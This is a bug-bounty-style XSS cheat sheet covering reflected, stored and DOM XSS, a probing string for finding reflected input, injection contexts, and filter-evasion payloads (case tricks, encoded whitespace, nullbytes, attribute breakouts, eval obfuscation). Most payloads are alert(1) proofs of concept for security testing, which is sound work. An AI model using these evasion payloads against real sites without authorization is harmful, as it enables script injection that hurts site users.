

XSS Cheat sheet

[Active XSS hunting](#)

[Attack strategy](#)

[Passive XSS hunting](#)





[Attack strategy](#)

[Filter evasion](#)

Active XSS hunting

Attack strategy

Types of XSS

 Aa a	 Reflected XSS-	 Stored XSS	 DOM XSS
<u>Value reflection</u>	Value is not stored in database but instead from a GET or POST parameter	Value is stored in database and gotten from there	Value gets put into DOM Sink
<u>Test objectives</u>	Identify where a value is stored into the DB and reflected back onto the page + Assess the input they accept and see if we can't pass around any filters	Identify where a value is reflected into the response + Assess the input they accept and see if we can't pass around any filters	Identify where a value is put into a DOM sink and reflected back onto the page + Assess the input they accept and see if we can't pass around any filters
<u>Step 1</u>	Detect input vectors by testing ALL parameters	Detect input vectors by testing ALL parameters	Static code review works best for this

Aa a	☰ Reflected XSS-	☰ Stored XSS	☰ DOM XSS
<u>Step 2</u>	Analyse the results depending on the context	Analyse the results depending on the context	Find the DOM sinks by entering a random value and looking at the developer console, try to find the value where it is reflected and the context
<u>Step 3</u>	Check impact of attack vector	Check impact of attack vector	Attacker MUST use developer console and not inspect source as that will not show DOM elements
<u>Untitled</u>			

Passive XSS hunting

Attack strategy

Enter "'`><u>Rat was here into every fields that you see.

- Name, last name, adress,... at registration
- Names and content of ever object you create
- EVERYWHERE

If you encounter a value that's reflected, determine context.

Contexts

☰ Column	Aa JavaScript context	☰ HTML Tag context	☰ HTML Tag attribute context
Attack vector	"'` —	<u>Rat was here + 	"'`>
Breaks	<u>Breaks</u> <u>javascript</u> <u>functions</u>	Nothing, reflects value into HTML context without sanitise, allowing for own tags	HTML tag attribute such as "Value" for <input> tag

Column	Aa JavaScript context	HTML Tag context	HTML Tag attribute context
Exploit	<u>Try to insert our own JS code</u>	Add event handlers to tags	Insert JS event handler or JS code into tag
Example	<code>!);_alert();_</code>	<code></code>	<code>' alert(); '</code>

Filter evasion

Techniques

Aa Name	Tags	Column
<u>Basic modifications</u>	<code><script>alert(1)</script></code> <code><script >alert(1)</script></code> Encoded tabs/newlines/CR <code><script#9>alert(1)</script></code> <code><script#10>alert(1)</script></code> <code><script#13>alert(1)</script></code> Capital letters <code><ScRipT>alert(1)</sCriPt></code> Adding nullbytes: <code><%00script>alert(1)</script></code> <code><script>al%00ert(1)</script></code>	Doing basic things like adding spaces, encoding tabs, newlines and carriage returns can do a lot already

Aa Name	Tags	Column
<u>Attributes and tags</u>	<pre> <input type="text" name="input" value="hello"> <input type="text" name="input" value=" "><script>alert(1) </script> <randomtag type="text" name="input" value=" "><script>alert(1) </script> <input/type="text" name="input" value=" "><script>alert(1)</script> <input&#9type="text" name="input" value=" "><script>alert(1)</script> <input&#10type="text" name="input" value=" "><script>alert(1)</script> <input&#13type="text" name="input" value=" "><script>alert(1)</script> <input/"type="text" name="input" value=" "> <script>alert(1)</script> <iNpUt type="text" name="input" value=" "><script>alert(1) </script> <%00input type="text" name="input" value=" "><script>alert(1) </script> <inp%00ut type="text" name="input" value=" "><script>alert(1) </script> <input t%00ype="text" name="input" value=" "><script>alert(1) </script> <input type="text" name="input" value=" "><script>a%00lert(1)</script> </pre>	<p>We can do the same basic modifications to attribute tags and add things like nullbytes</p>
<u>Event handlers</u>	<p>Use burp intruder, select your event handler that's blocked and use burp suites cheat sheet to test all event handlers</p>	<p>Try all different event handlers https://portswigger.net/web-security/cross-site-scripting/cheat-sheet Use burp intruder</p>
<u>Delimiters and brackets</u>	<pre> URL encodign Backticks Encoded backtics </pre>	<p>Sometimes we can play with things like delimiters by encoding them if they are blocked</p>

Aa Name	Tags	Column
<u>Delimiters and brackets</u> <u>- 2</u>	Double use of delimiters <<script>alert(1)//</script> Unknown delimiters «input onsubmit=alert(1)» Encoded ®input onsubmit=alert(1)¯	
<u>Eval()</u>	<script>eval('a\u006c'ert(1)')</script> <script>eval('al' + 'ert(1)')</script> <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>	We can also make use of the eval() function in JS to obfuscate some strings so they won't be filtered
<u>Using filtered words in filtered words</u>	If script is filtered <script> might become <script>	This helped me find many bounties 😂
<u>Use your imagination</u> <u><3</u>		